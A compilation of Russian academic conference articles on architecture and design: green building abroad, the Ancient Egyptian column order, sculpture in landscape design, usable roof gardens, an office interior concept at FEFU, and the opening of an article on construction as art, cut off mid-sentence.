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Аннотация. Данная работа посвящена исследованию и поиску современных тенденций 
зеленых технологий на примере зарубежного опыта. Тема экологии, озеленения горо-
дов активно развивающаяся область в современной архитектуре, направленная на ор-
ганизацию среды средствами природных и искусственных элементов. В статье рас-
сматриваются известные зарубежные проекты архитектуры.  
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Зеленые технологии – это активно развивающаяся область в современной архи-

тектуре, направленная на организацию среды средствами природных элементов, по-
средством строительством и проектирований зданий, оказывающее минимальное воз-
действие на окружающую среду. Цель данной работы – изучить опыт зеленых техноло-
гий, рассмотреть принцип подхода к проблеме экологичной архитектуры за рубежом и 
изучить реальные, реализованные проекты. 

В век каменных джунглей особенно остро встает вопрос обустройства среды 
обитания общества в «природных условиях», поэтому данную тему можно по праву 
считать актуальной областью в настоящее время. Эко-дизайн далеко не новый тренд в 
современной архитектуре, футуристические картинки с лианами и деревьями на небо-
скребах уже не просто выдумка фантазийных фильмов или книг, а реальность. Озеле-
нение крыш и вертикальное озеленение фасадов активно применяется как за рубежом, 
так и в России, но современные проекты могут бросить вызов традиционной архитек-
туре и изменить жизнь людей до неузнаваемости. 

Один из главных основных принципов «зеленой архитектуры» это экологич-
ность и энергоэффективность [5]. Поскольку в современном мире остро стоит вопрос о 
разумном, другими словами «экологичном» потреблении ресурсов, актуальным стано-
вится использование таких источников энергии как солнечные батареи, ветряная энер-
гия, современные теплоизоляционные и отделочные материалы, с помощью которых 
можно построить «энергосберегающие» здания. Не последнюю роль в этом вопросе за-
нимает комфорт и здоровье жителей современных городов, поэтому с помощью зеле-
ных технологий также улучшается качество жизни людей, а именно улучшения каче-
ства воздуха, воды и других вещей, необходимых для жизнедеятельности [1].  
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Архитектурная компания MVRDV родом из Роттердама (Нидерланды) основан-
ная в 1993 г. по праву считается одной из лучших архитектурных фирм в мире на сего-
дняшний день, подарила миру инновационный проект под названием «La Serre d'Issy». 
Расположенный в Исси-ле-Мулино, недалеко от Парижа, La Serre представляет собой 
многофункциональный комплекс, смелый архитектурный и ландшафтный подход ко-
торого бросает вызов традиционным нормам жилья, чтобы полностью интегрировать 
природу в компактное городское пространство (рисунок 1).  

 
Рисунок 1 – Проект «La Serre d'Issy» 

Комплекс из 190 квартир был спроектирован как ландшафтная вертикальная де-
ревня, уложенная внутри открытого стального стеллажа. Частные балконы и террасы, а 
также общие сады и участки окутывают здание пышной зеленью, что составляет почти 
3 000 квадратных метров открытого пространства. Благодаря яркому открытому фасаду 
La Serre не только увеличивает биоразнообразие Исси, но и создает связи между жите-
лями и городом, способствуя социальной устойчивости (рисунок 2).  

 
Рисунок 2 – Фасад La Serre 

Оазис внутри города с инновационным вертикальным садом, своей инфраструк-
турой, применением экологичных материалов, является домом для настоящей социаль-
ной и экологической экосистемы [2].  

Еще один пример «зеленых технологий» можно проследить в проекте «Двор бу-
дущего» Копенгаген, Дания (рисунок 3).  

 
Рисунок 3 – Генплан «Двор будущего», Копенгаген, Дания 
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«Двор будущего» — это решение проблемы изменения климата и растущих 
проблем Копенгагена с наводнениями во время ливневых нагонов. Внутренний двор 
превращает сложную дождевую воду в актив для своих жителей, создавая эффективные 
и заметные решения для дождевой воды, которые формируют красивые садовые про-
странства для общего использования и экстрасенсорных впечатлений (рисунок 4а,б). 
Внутренний двор построен из переработанных и повторно используемых строительных 
материалов и разработан в рамках совместного инновационного процесса с жителями и 
муниципалитетом Копенгагена.  

Рисунок 4 -  а) Внутренний двор; б) Пространства общего пользования 
Таким образом, можно сделать вывод, что удалось изучить опыт зеленых техно-

логий и подход экологичной архитектуры за рубежом. Путем заботливого отношения к 
природным ресурсам, правильному использованию и распределению энергии, иннова-
ционным «зеленым архитектурным» проектам решается множество проблем, связан-
ных с экологией [3]. Зарубежная архитектура успешно придерживается всем принци-
пам «зеленых технологий», за счет чего преобразовывается не только внешний облик 
городов, но и улучшается качество жизни местных жителей.  
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Аннотация. В статье рассматриваются особенности ордерной системы Древнего Егип-
та, которая играла ключевую роль в архитектуре и искусстве этой цивилизации. В ра-
боте рассматриваются основные элементы ордерной системы, такие как колонны, капи-
тели и антаблемент, а также их функциональное и символическое значение. Особое 
внимание уделяется различным стилям ордеров, характерным для разных периодов 
египетской истории, и их влиянию на архитектурные решения. 
Abstract. The article examines the features of the order system of Ancient Egypt, which played 
a key role in the architecture and art of this civilization. The paper examines the main elements 
of the order system, such as columns, capitals and entablatures, as well as their functional and 
symbolic significance. Special attention is paid to the various styles of orders characteristic of 
different periods of Egyptian history and their influence on architectural solutions. 
Ключевые слова: ордер, колонна, древний Египет, антаблемент, стоечно-балочная си-
стема. 
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Ордерная система древнего Египта представляет собой уникальное явление, ко-
торое не только определяло архитектурные формы, но и отражало культурные и рели-
гиозные аспекты жизни этой великой цивилизации. Актуальность исследования данной 
темы обусловлена тем, что архитектура и искусство Древнего Египта продолжают вы-
зывать интерес у ученых, историков и искусствоведов, стремящихся понять, как ордер-
ная система способствовала формированию уникального стиля, который оставил неиз-
гладимый след в мировой архитектурной традиции. 

Цель данной работы заключается в детальном анализе особенностей ордерной 
системы древнеегипетской архитектуры, а также в исследовании ее функционального и 
символического значения. В рамках работы будут рассмотрены основные элементы ор-
дерной системы, такие как колонны, капители и антаблемент, а также их эволюция и 
разнообразие стилей, характерных для различных периодов египетской истории. 

Степень разработанности темы свидетельствует о том, что несмотря на значи-
тельное количество исследований, посвященных архитектуре Древнего Египта, вопро-
сы, касающиеся ордерной системы, остаются недостаточно освещенными. Существу-
ющие работы часто фокусируются на отдельных памятниках или стилях, в то время как 
комплексный подход к изучению ордерной системы может дать более полное пред-
ставление о ее роли в архитектурной практике и искусстве древних египтян. Таким об-
разом, данное исследование направлено на восполнение пробелов в существующих 
знаниях и углубление понимания архитектурного наследия Древнего Египта. 

Сильно заметны в развитии ордера изменения в столбах и колоннах. Столбы 
квадратного сечения без капители возникли в период Древнего царства, они не имели 
рельефа, а позднее перед ними ставили статуи фараонов. Также стали популярны более 
непростые колонны, которые напоминали своим видом растения [1]. 
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Ордерная система с опорами в виде геометрически правильных форм представ-
ляет конструкцию, не имеющей маленьких тонкостей с мощнейшими столбами. Она 
имела несколько видов в разные периоды времени: в Древнее царство столб был квад-
ратного сечения. Его высота равна четырем или пяти сторонам основания. Он не имел 
капители и часто был покрыт изгибами [4]. Иногда перед ними ставили статуи фарао-
нов. Во времена Среднего царства колонны стали создавать подобно цилиндру с граня-
ми, их могло быть восемь или шестнадцать, но также их формировали с восемнадцатью 
и двадцатью. Они могли быть с врезающимися в столб каннелюрами. В позднее время 
колонны изготовили сужающим к верху цилиндром [3]. Их высота больше основания в 
пять или пять с половиной раз. Эти колонны изготавливали с каннелюрами, имеющие 
капитель в облике абаки (рисунок 1). 

 
Рисунок 1 – Древнеегипетский ордер 

Из-за того, что египетский ордер оставался на том же месте, он отличался своим 
спокойствием и конструктивной последовательностью.  

В постройках храмового типа появилась, на тот момент, популярная ордерная 
система с имитацией растительной природы (рисунок 2). Данное событие произошло в 
период Нового царства, а также в более позднее время. Священные растения такие как: 
пальма, папирус, голубой и белый лотос и тростник стали священными прообразами, 
благодаря своей утонченности формы и изгибы колонн приобрели изобразительный 
характер [1]. Колонна обретает деление. База изготавливается в виде диска, в редких 
случаях её создавали с закругленными торцами. Также их формировали в виде трапе-
ции, но были и состоящие из двух ступеней. Вторым делением был столб, который 
имел вид большого стебля, а его сечение было круглым, но также могло состоять из че-
тырех, шести или восьми полуокружностей. Была еще одна его разновидность – это в 
виде заостренных ребер. Его ствол имел плетение по горизонталям в виде орнамен-
тальных полос. Следующее деление – это капитель, выполненная в виде сжатого буто-
на цветка. Она приобретала несколько разновидностей: папирусообразную, лотосовид-
ную, пальмовидную, в позднее время возникли сложные типы колонн: гаторическая и 
бутонообразная [2]. 

 
Рисунок 2 – Ордерная система с имитацией растительного мира 



9 

В разные эпохи в элементах ордера происходило много изменений, но их боль-
шая часть относится к колонне. Сверху у неё имеется антаблемент, у которого на дол-
гое время образовалась определенная форма, состоящая из лежавшей горизонтально 
выступающей прямоугольной плиты и архитравной балки, так он выглядел в Среднем и 
Древнем царствах, а позже он изменил свою форму и уже состоял из внушительного 
размера выкружки с нешироким полуовалом под ней и архитравной балки [5]. 

Антаблемент имел высоту от одной четвертой до одной пятой высоты всего ор-
дера, а верхняя карнизная выкружка составляла от одной третьи до одной второй высо-
ты антаблемента. Но при этом канонические и модульные взаимоотношения не исполь-
зовались в создании пропорциональностей карниза, они имели большие отличия от 
требований стандартов. Тем не менее, модульность всех размеров служила одним из 
методов определения основополагающих размеров здания [3]. 

В комбинации фасадов применяли технику обрамления, находящуюся в числе 
частей антаблемента, изменяясь с горизонтальных частей на вертикальные, вал в сече-
нии не изменялся. В независимо стоящих колоннадах и интерьерах зданий были обяза-
тельны несущие элементы. Позже, теряя свою тектоническую четкость, антаблемент 
стал менее заметным, так как сливался с боковыми промежутками стен [3]. Таким обра-
зом, после изучения особенностей ордера Древнего Египта, был сделан вывод о том, 
что данная система  прошла долгий путь развития, от древних времен до наших дней, 
олицетворяя гармонию, баланс и красоту. Также он оказал значительное влияние на 
развитие стоечно-балочной системы. В последующие эпохи другие страны ссылались 
на египетский ордер, пытаясь дополнить его своими изящными элементами. Египет-
ский ордер стал основой для дальнейшего развития всемирной архитектуры. 
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РОЛЬ СОВРЕМЕННОЙ СКУЛЬПТУРЫ В ЛАНДШАФТНОМ ДИЗАЙНЕ 
 
THE ROLE OF MODERN SCULPTURE IN LANDSCAPE DESIGN 
 
Аннотация. Современная скульптура революционизирует ландшафтный дизайн, пре-
вращая парки и городские пространства в открытые галереи под открытым небом. В 
статье рассматривается, как эти арт-объекты меняют облик городов, влияют на воспри-
ятие пространства и вовлекают общественность в диалог с искусством. От экологичных 
инсталляций до интерактивных композиций – узнайте, как скульптура XXI века фор-
мирует среду обитания, бросает вызов традициям и создает новые точки притяжения в 
урбанистическом ландшафте. 
Annotation. Modern sculpture is revolutionizing landscape design, turning parks and urban 
spaces into open-air galleries. The article examines how these art objects change the appear-
ance of cities, influence the perception of space and involve the public in a dialogue with art. 
From eco–friendly installations to interactive compositions, learn how 21st century sculpture 
shapes the environment, challenges traditions and creates new points of attraction in the urban 
landscape. 
Ключевые слова: современная скульптура, ландшафтный дизайн, урбанистическое ис-
кусство, общественные пространства, арт-инсталляции, скульптурные инсталляции, 
ландшафтная эстетика. 
Keywords: modern sculpture, landscape design, urban art, public spaces, art installations, 
sculptural installations, landscape aesthetics.  
 

В эпоху стремительной урбанизации и технологического прогресса роль искус-
ства в формировании городской среды приобретает особое значение. Современная 
скульптура, как одна из наиболее выразительных форм публичного искусства, стано-
вится ключевым элементом в трансформации ландшафтного дизайна, создавая новые 
грани взаимодействия между человеком, искусством и окружающим пространством. 

Актуальность темы обусловлена растущим интересом к гуманизации городских 
пространств и поиску инновационных решений в области ландшафтной архитектуры. 
Современная скульптура выступает не только как эстетический объект, но и как ин-
струмент социального взаимодействия, катализатор общественных дискуссий и сред-
ство переосмысления урбанистической среды. В условиях глобальных экологических 
вызовов и необходимости создания устойчивых городских экосистем, интеграция 
скульптурных объектов в ландшафт открывает новые возможности для гармоничного 
сосуществования природы и искусства. 

Цель данной работы – всесторонне исследовать и проанализировать роль совре-
менной скульптуры в ландшафтном дизайне, выявить основные тенденции, определить 
влияние скульптурных объектов на восприятие и функционирование общественных 
пространств, а также оценить потенциал использования инновационных материалов и 
технологий в создании ландшафтных скульптур. Современная скульптура играет всё 
более значимую роль в ландшафтном дизайне, трансформируя привычные простран-
ства и создавая новые формы взаимодействия между искусством, природой и челове-
ком. Эта тенденция отражает глобальные изменения в понимании функций обществен-
ных пространств и роли искусства в формировании городской среды. Исторически 
скульптура в садово-парковом искусстве выполняла преимущественно декоративную 
функцию, дополняя архитектурные ансамбли и подчеркивая статус владельцев. Однако 
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с развитием модернизма в начале XX века произошел значительный сдвиг в восприя-
тии скульптуры как самостоятельного элемента ландшафта. Работы таких художников, 
как Генри Мур и Барбара Хепуорт, продемонстрировали потенциал скульптуры в со-
здании диалога с окружающей средой. В современном контексте скульптура выходит 
за рамки чисто эстетической функции, становясь катализатором социальных взаимо-
действий и инструментом переосмысления урбанистического пространства. Как отме-
чает Малкольм Майлз в своей работе "Art, Space and the City", публичное искусство, 
включая скульптуру, способно трансформировать не только физическое пространство, 
но и социальные отношения внутри городских сообществ. Современная скульптура 
продолжает выполнять традиционную роль эстетического обогащения пространства, 
создавая визуальные акценты и формируя уникальный облик ландшафта. Однако эсте-
тика современных скульптурных объектов часто выходит за рамки классических пред-
ставлений о красоте, провоцируя зрителя на эмоциональный и интеллектуальный от-
клик. Многие современные скульптуры несут в себе глубокий концептуальный смысл, 
затрагивая актуальные социальные, экологические и культурные вопросы. Например, 
инсталляция "Cloud Gate" Аниша Капура в Чикаго не только стала символом города, но 
и провоцирует размышления о природе отражения и восприятия реальности. 

Скульптура активно используется для зонирования и организации пространства. 
Крупномасштабные работы, такие как "The Gates" Христо и Жан-Клод в Центральном 
парке Нью-Йорка, временно трансформировали весь ландшафт парка, создав новые 
маршруты и точки притяжения. Инновации в области материалов и технологий суще-
ственно расширили возможности скульпторов в работе с ландшафтом. Использование 
современных материалов, таких как сверхпрочные сплавы, композиты и переработан-
ные материалы, позволяет создавать долговечные и экологичные объекты. 

Особое внимание уделяется экологическому аспекту. Многие художники экспе-
риментируют с биоразлагаемыми материалами и "живыми" скульптурами, интегриру-
ющими растения. Например, работы Патрика Догерти, создающего масштабные ин-
сталляции из ивовых прутьев, демонстрируют потенциал использования природных 
материалов в создании впечатляющих ландшафтных объектов. Технологические инно-
вации также играют значительную роль. Использование 3D-печати, кинетических эле-
ментов и интерактивных технологий позволяет создавать динамичные и вовлекающие 
скульптурные инсталляции. Работа "Crown Fountain" Жауме Пленсы в Чикаго, сочета-
ющая в себе элементы скульптуры, архитектуры и цифрового искусства, является яр-
ким примером технологической интеграции в ландшафтный дизайн. 

Одной из ключевых тенденций в современной ландшафтной скульптуре являет-
ся стремление к гармоничной интеграции с окружающей средой. Художники всё чаще 
создают работы, которые не просто размещаются в ландшафте, но становятся его 
неотъемлемой частью, реагируя на природные условия и изменяясь вместе с ними. 

Примером такого подхода может служить "Storm King Art Center" в штате Нью-
Йорк, где масштабные скульптуры интегрированы в природный ландшафт, создавая 
уникальный симбиоз искусства и природы. Работы таких художников, как Энди Голд-
суорти, который использует природные материалы для создания эфемерных скульптур, 
демонстрируют новый уровень взаимодействия искусства с окружающей средой. 

В то же время, некоторые скульпторы намеренно создают контраст между ис-
кусственным и естественным, подчеркивая сложные взаимоотношения между челове-
ком и природой. Инсталляция "The Lightning Field" Уолтера Де Марии в Нью-Мексико, 
состоящая из 400 стальных столбов, установленных в пустынном ландшафте, является 
примером такого концептуального контраста. 

Современная скульптура обладает уникальной способностью трансформировать 
восприятие пространства, изменяя масштаб и перспективу окружающего ландшафта. 
Крупномасштабные работы, такие как "The Bean" Аниша Капура в Чикаго, не только 
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становятся визуальными доминантами, но и создают новые пространственные отноше-
ния, искажая и отражая окружающую городскую среду. 

Интерактивные скульптуры добавляют новое измерение в восприятие простран-
ства, вовлекая зрителей в активное взаимодействие. Например, работа "Your Rainbow 
Panorama" Олафура Элиассона на крыше музея ARoS в Орхусе (Дания) позволяет посе-
тителям буквально погрузиться в цветное пространство, переосмысливая свое отноше-
ние к городскому ландшафту. 

Важным аспектом современной скульптуры в ландшафтном дизайне является её 
социальная функция. Скульптурные инсталляции в общественных пространствах ста-
новятся местами встреч, культурного обмена и социальных интеракций. Они способ-
ствуют формированию локальной идентичности и чувства принадлежности к месту. 

Многие современные проекты активно вовлекают местные сообщества в про-
цесс создания и интерпретации скульптурных объектов. Например, проект "The Fourth 
Plinth" на Трафальгарской площади в Лондоне регулярно обновляет скульптуру на пу-
стующем постаменте, привлекая внимание общественности к современному искусству 
и стимулируя дискуссии о роли публичного искусства в городской среде. Несмотря на 
значительный потенциал современной скульптуры в ландшафтном дизайне, существует 
ряд проблем и вызовов. Одним из ключевых вопросов является сохранение и уход за 
скульптурами на открытом воздухе. Воздействие погодных условий, загрязнение окру-
жающей среды и потенциальный вандализм требуют разработки новых подходов к 
консервации и реставрации. Другой важной проблемой является общественное воспри-
ятие современного искусства. Не все скульптурные объекты находят понимание и под-
держку у местных жителей, что иногда приводит к конфликтам и дебатам о целесооб-
разности тех или иных инсталляций в публичном пространстве. 

Будущее современной скульптуры в ландшафтном дизайне видится в дальней-
шей интеграции технологий, экологических принципов и социального взаимодействия. 
Развитие "умных" материалов, способных реагировать на изменения окружающей сре-
ды, открывает новые возможности для создания адаптивных скульптурных объектов. 

Растущее внимание к проблемам устойчивого развития, вероятно, приведет к 
увеличению числа проектов, направленных на восстановление экосистем и повышение 
экологической осведомленности через искусство. Скульптура может стать важным ин-
струментом в создании устойчивых городских ландшафтов, сочетая в себе эстетиче-
скую привлекательность и экологическую функциональность. 

Интеграция цифровых технологий, таких как дополненная реальность, может 
расширить возможности взаимодействия со скульптурными объектами, создавая мно-
гослойные и изменчивые художественные опыты. 

В результате проведенного исследования выявлена ключевая роль современной 
скульптуры в трансформации ландшафтного дизайна. Анализ показал, что скульптур-
ные объекты не только эстетически обогащают пространство, но и выполняют важные 
социальные и экологические функции. Определены основные тенденции: использова-
ние экологичных материалов, создание интерактивных инсталляций и интеграция тех-
нологий. Оценка влияния скульптуры на восприятие общественных пространств под-
твердила её способность формировать новые точки притяжения и стимулировать соци-
альное взаимодействие. Выявлен значительный потенциал инновационных подходов в 
создании устойчивых и вовлекающих городских ландшафтов. 
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ЭКСПЛУАТИРУЕМЫЕ КРЫШИ В ЛАНДШАФТНОМ ДИЗАЙНЕ 
  
EXPLOITED ROOFS IN LANDSCAPE DESIGN 
 
Аннотация. Статья посвящена инновационному направлению в ландшафтном дизайне - 
использованию эксплуатируемых крыш. Рассматриваются преимущества создания зе-
леных зон на крышах зданий, включая экологические и эстетические аспекты. Анали-
зируются технические особенности проектирования таких пространств, в том числе во-
просы гидроизоляции, дренажа и выбора растений. Особое внимание уделяется мно-
гофункциональности эксплуатируемых крыш: от частных садов до общественных пар-
ков. Приводятся примеры успешных проектов в разных климатических зонах. Обсуж-
даются перспективы развития данного направления в контексте устойчивого городско-
го развития и повышения качества жизни горожан. 
Annotation. The article is devoted to an innovative direction in landscape design - the use of 
exploited roofs. The advantages of creating green areas on the roofs of buildings, including 
environmental and aesthetic aspects, are considered. The technical features of the design of 
such spaces are analyzed, including issues of waterproofing, drainage and plant selection. 
Special attention is paid to the versatility of the roofs used: from private gardens to public 
parks. Examples of successful projects in different climatic zones are given. The prospects for 
the development of this area in the context of sustainable urban development and improving 
the quality of life of citizens are discussed. 
Ключевые слова: Эксплуатируемые крыши, ландшафтный дизайн, озеленение, урбани-
стика, экоархитектура, вертикальное озеленение. 
Keywords: Exploited roofs, landscaping, landscaping, urbanism, eco-architecture, vertical 
landscaping. 
 

В эпоху стремительной урбанизации и растущей потребности в экологически 
устойчивых решениях, эксплуатируемые крыши становятся все более популярным эле-
ментом современного ландшафтного дизайна. Этот инновационный подход не только 
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позволяет эффективно использовать ограниченное городское пространство, но и от-
крывает новые горизонты для создания зеленых оазисов в бетонных джунглях мегапо-
лисов. Эксплуатируемые крыши представляют собой многофункциональные простран-
ства, которые могут служить частными садами, общественными парками, зонами отды-
ха или даже площадками для выращивания продуктов питания. Они объединяют в себе 
эстетическую привлекательность, экологическую ценность и практическую функцио-
нальность, становясь ключевым элементом в стратегиях устойчивого городского разви-
тия. В данной статье рассматриваются различные аспекты проектирования и реализа-
ции эксплуатируемых крыш в контексте ландшафтного дизайна. Мы обсудим техниче-
ские особенности их создания, включая вопросы гидроизоляции, дренажа и выбора 
подходящих растений. Особое внимание будет уделено экологическим преимуществам 
таких конструкций, их роли в улучшении микроклимата городов и повышении энер-
гоэффективности зданий. 

Эксплуатируемые крыши в ландшафтном дизайне представляют собой иннова-
ционное решение, позволяющее эффективно использовать пространство в условиях 
плотной городской застройки. Это не просто технический элемент здания, а полноцен-
ная часть городского ландшафта, способная выполнять эстетические, экологические и 
социальные функции. История эксплуатируемых крыш уходит корнями в древность, 
когда в Месопотамии и Древнем Египте создавались первые сады на крышах дворцов. 
Однако современное понимание эксплуатируемых крыш как элемента городского 
ландшафтного дизайна сформировалось лишь в XX веке, во многом благодаря работам 
таких архитекторов, как Ле Корбюзье. 

В ландшафтном дизайне эксплуатируемые крыши могут выполнять различные 
функции: 

- Зеленые зоны: создание садов, парков и зон отдыха на крышах зданий. Это 
позволяет компенсировать нехватку зеленых насаждений в городской среде. 

- Рекреационные пространства: спортивные площадки, зоны для йоги, детские 
игровые зоны. 

- Общественные пространства: открытые кафе, выставочные площадки, места 
для проведения мероприятий. 

- Сельскохозяйственные участки: городские фермы, общественные огороды. 
При проектировании эксплуатируемых крыш необходимо учитывать ряд техни-

ческих и дизайнерских аспектов: 
- Конструктивные особенности: крыша должна выдерживать дополнительную 

нагрузку от почвы, растений, людей и оборудования. Это требует усиления несущих 
конструкций здания. 

- Гидроизоляция: критически важный элемент, предотвращающий проникнове-
ние влаги в нижележащие помещения. 

- Дренажная система: обеспечивает отвод избыточной влаги, предотвращая пе-
ренасыщение почвы и повреждение растений. 

- Ветрозащита: особенно важна для высотных зданий, где сила ветра может быть 
значительной. 

- Подбор растений: необходимо выбирать виды, устойчивые к ветру, засухе и 
перепадам температур. 

- Система полива: автоматизированные системы орошения помогают поддержи-
вать оптимальный уровень влажности для растений. 

- Безопасность: установка ограждений, обеспечение пожарной безопасности и 
путей эвакуации. 

Ландшафтный дизайн эксплуатируемых крыш имеет свои особенности. Здесь 
важно создать гармоничное пространство, учитывая ограниченную площадь и специ-
фические условия. Основные принципы дизайна включают: 
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- Зонирование: разделение пространства на функциональные зоны (отдых, спорт, 
озеленение). 

- Многоуровневость: использование подиумов, террас и приподнятых клумб для 
создания объема. 

- Вертикальное озеленение: использование вьющихся растений и зеленых стен 
для максимального озеленения при ограниченной площади. 

- Мобильные элементы: использование контейнерного озеленения и передвиж-
ной мебели для гибкости пространства. 

- Водные элементы: небольшие фонтаны, водоемы или водные каскады для со-
здания прохлады и звукового фона. 

- Освещение: продуманная система освещения для использования пространства 
в вечернее время. 

Эксплуатируемые крыши играют важную роль в концепции устойчивого разви-
тия городов. Они способствуют: 

- Улучшению микроклимата: растения поглощают CO2, выделяют кислород и 
увлажняют воздух. 

- Снижению эффекта "теплового острова": зеленые крыши уменьшают нагрев 
городских территорий. 

- Управлению ливневыми стоками: растения и почва задерживают и фильтруют 
дождевую воду. 

- Повышению энергоэффективности зданий: зеленая кровля служит дополни-
тельным слоем теплоизоляции. 

- Увеличению биоразнообразия: создание новых экосистем в городской среде. 
В мировой практике существует множество успешных примеров использования 

эксплуатируемых крыш в ландшафтном дизайне. Например, Сады на крыше Рокфел-
лер-центра в Нью-Йорке, парк High Line, созданный на месте старой железной дороги, 
или сады на крыше музея Quai Branly в Париже. 

В России также растет интерес к эксплуатируемым крышам. Примерами могут 
служить зеленая крыша Зарядья в Москве или сад на крыше торгового центра "Гале-
рея" в Санкт-Петербурге. Несмотря на очевидные преимущества, внедрение эксплуати-
руемых крыш сталкивается с рядом вызовов. Это и высокая стоимость проектирования 
и строительства, и сложности в обслуживании, и необходимость изменения строитель-
ных норм и правил. Однако, по мере развития технологий и роста осознания важности 
устойчивого развития городов, эти препятствия постепенно преодолеваются. 

Эксплуатируемые крыши представляют собой инновационное решение на стыке 
архитектуры, экологии и ландшафтного дизайна. Они не только расширяют функцио-
нальное пространство зданий, но и вносят существенный вклад в улучшение городской 
экосистемы. Внедрение таких проектов способствует повышению энергоэффективности, 
снижению эффекта теплового острова и созданию новых зеленых зон в густонаселенных 
районах. Несмотря на технические сложности и начальные затраты, долгосрочные пре-
имущества делают эксплуатируемые крыши перспективным направлением в устойчивом 
развитии городов. Их популярность будет расти, открывая новые возможности для твор-
ческого подхода в ландшафтном дизайне и улучшения качества жизни горожан. 
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КОНЦЕПТ ИНТЕРЬЕРНЫХ РЕШЕНИЙ. УРОВЕНЬ А6 ОФИС  
«ТЕХНОЛОГИЧЕСКИЙ МОСТ» ДВФУ 
 
INTERIOR SOLUTIONS CONCEPT. LEVEL A6 OFFICE  
"TECHNOLOGICAL BRIDGE" FEFU 

 
Аннотация. В статье подчеркивается важность создания комфортных и функциональ-
ных офисов для повышения эффективности, мотивации и удержания сотрудников. Рас-
сматривается проект трансформации пространства в ДВФУ с уникальным дизайном, 
вдохновленным символикой Владивостока и инженерной точностью. 
Abstract. The article highlights the importance of creating comfortable and functional offices 
to increase efficiency, motivation, and employee retention. A project of space transformation 
in FEFU with a unique design inspired by the symbols of Vladivostok and engineering preci-
sion is being considered.  
Ключевые слова: Мост, технологии, инженерия, офис, интерьер, корабль. 
Key words: Bridge, technology, engineering, office, interior, ship. 

 
Современные компании часто сталкиваются с недостаточной эффективностью 

рабочего процесса и низким уровнем вовлеченности сотрудников. Эти проблемы во 
многом обусловлены неадаптированной или устаревшей офисной средой, которая не 
соответствует требованиям современного бизнеса. Отсутствие комфорта, эргономики и 
вдохновляющей атмосферы может приводить к стрессу, снижению производительности 
и утрате мотивации у сотрудников [1,2]. Кроме того, не все офисы отражают корпора-
тивную культуру и ценности компании. Это приводит к тому, что сотрудники не чув-
ствуют свою принадлежность к коллективу, что снижает их лояльность и мешает до-
стижению общей цели. В условиях высокой конкуренции за таланты компании риску-
ют потерять перспективных специалистов, если не создают условия, обеспечивающие 
их профессиональный рост и комфорт. Создание офиса, способствующего комфортной 
рабочей среде, имеет ключевое значение для современного бизнеса [2,3]. Такой офис 
позволяет не только повысить эффективность рабочих процессов, но и создает про-
странство, которое отражает корпоративную культуру и ценности компании. Вдохнов-
ляющая атмосфера помогает сотрудникам ощущать принадлежность к общим целям, 
усиливая их мотивацию и творческий потенциал. В условиях растущей конкуренции 
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создание продуманной офисной среды становится важным инструментом привлечения 
и удержания талантов, а также фактором, влияющим на общий успех компании. 

На 6 уровне корпуса «А» Дальневосточного Федерального Университета нахо-
дится неиспользуемое пространство рядом с бывшей точкой общепита. Пространство 
имеет прямоугольную фору и состоит из двух частей: открытая часть в общем холле 
площадью 63,68 кв.м. и закрытая часть за перегородкой площадью 97,28 кв.м.  

Перед авторами стояли следующие задачи: 
1. Исследование потребностей сотрудников и специфики работы компании для 

определение функциональных зон (рабочие места, зоны отдыха, переговорные). 
2. Создание концепции, включающей цветовую палитру, материалы, стиль и 

общую атосферу офиса. 
3. Оптимизация планировки с учетом эргономики, удобства передвижения и 

взаимодействия сотрудников. 
4. Проектирование освещения с учетом естественного света и создание 

комфортной атмосферы. 
5. Разработа эффективных решений для хранения документов и личных вещей 

сотрудников. 
Идея интерьерного решения с уникальным дизайном заключается в объединении 

инженерной точности и символа Владивостока – Русского моста. Пространство вдох-
новляет и подчеркивает техническую мощь и красоту. 

Пространство офиса зонировано следующим образом: холл, рабочая зона, пере-
говорная, кухонная зона и зона чилл-аута.  

 
Рисунок 1 – Холл 

В холле располагаются: инсталляция в виде моста с LED-порталом, выставочная 
зона с тумбами-постаментами для экспонатов, зона отдыха. 

 
Рисунок 2 - Рабочая зона (1 кадр) 
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Рисунок 2 - Рабочая зона (2 кадр) 

Рабочая зона обустроена столами для сотрудников, шкафами для хранения, тех-
ническим оборудованием и зоной отдыха. 

Столы у окна – подъемные (на механизмах). Под ними располагаются беговые 
дорожки. Тем самым, подняв стол и выдвинув беговую дорожку, сотрудники офиса мо-
гут поддерживать физическую активность за работой. Светильники-корабли отражают 
задумку офиса у моря и освещают транзит. 

 
Рисунок 4 - Переговорная зона 

Переговорная оборудована большим столом, зоной отдыха и экраном для де-
монстрации презентаций. 

 

 
Рисунок 5 - Кухонная зона 

Зона оснащена кухонным гарнитуром, барным столиком и всем необходимым 
техническим оборудованием. На стене находится лестница, с помощью которой со-
трудники попадают в зону чилл-аута. 
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Рисунок 6 - Зона чилл-аута 

В зоне чилл-аута имеются кресла-мешки, стеллаж и между стен зоны закреплен 
гамак. Эта зона организована для того, чтобы сотруднике в перерыве от работы могли 
расслабится. 

Проект «Технологический мост» демонстрирует, как продуманное интерьерное 
решение может повысить не только функциональность офисного пространства, но и 
уровень комфорта, мотивации и вовлеченности сотрудников. Вдохновлённый символи-
кой Владивостока и инженерной эстетикой, офис отражает ценности компании и созда-
ёт уникальную атмосферу, способствующую продуктивной работе и командному духу. 

Зонирование, эргономика, технологичность и элементы отдыха гармонично со-
четаются, формируя современное пространство, в котором удобно работать и приятно 
находиться. Такой подход делает офис не просто местом выполнения задач, а частью 
корпоративной культуры и стратегическим ресурсом для развития команды. 
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КОНСТРУКЦИЯ КАК ИСКУССТВО: КАК ЭЛЕМЕНТЫ ЗДАНИЯ 
СТАНОВЯТСЯ ЧАСТЬЮ АРХИТЕКТУРНОГО ОБРАЗА 
 
CONSTRUCTION AS ART: HOW BUILDING ELEMENTS BECOME PART  
OF AN ARCHITECTURAL IMAGE  
 

Аннотация. В этой статье исследует взаимосвязь между конструктивными элементами 
зданий и их эстетическим восприятием. В современной архитектуре конструкции не 
только выполняет функциональные задачи, но и становится важным выразительным 
средством. Среди известных архитектурных творений, где конструктивные элементы, 
такие как балки, колонны, стены и крыши гармонично интегрированы в общий образ, 
создавая уникальную визуальную идентичность. 
Annotation. This article explores the relationship between the structural elements of buildings 
and their aesthetic perception. In modern architecture, structures not only perform functional 
tasks, but also become an important means of expression. Among the famous architectural 
creations, where structural elements such as beams, columns, walls and roofs are harmonious-
ly integrated into the overall image, creating a unique visual identity. 
Ключевые слова: архитектура, искусства, конструкции… 
Key words: architecture, art, constructions … 

 
Смысл искусства в архитектуре заключается в преображении прикладной строи-

тельной конструкции в композицию.  Одним из примеров служит опорный столб, вы-
держивающий тяжесть перекрытия, он представляет собой прочную и надёжную строи-
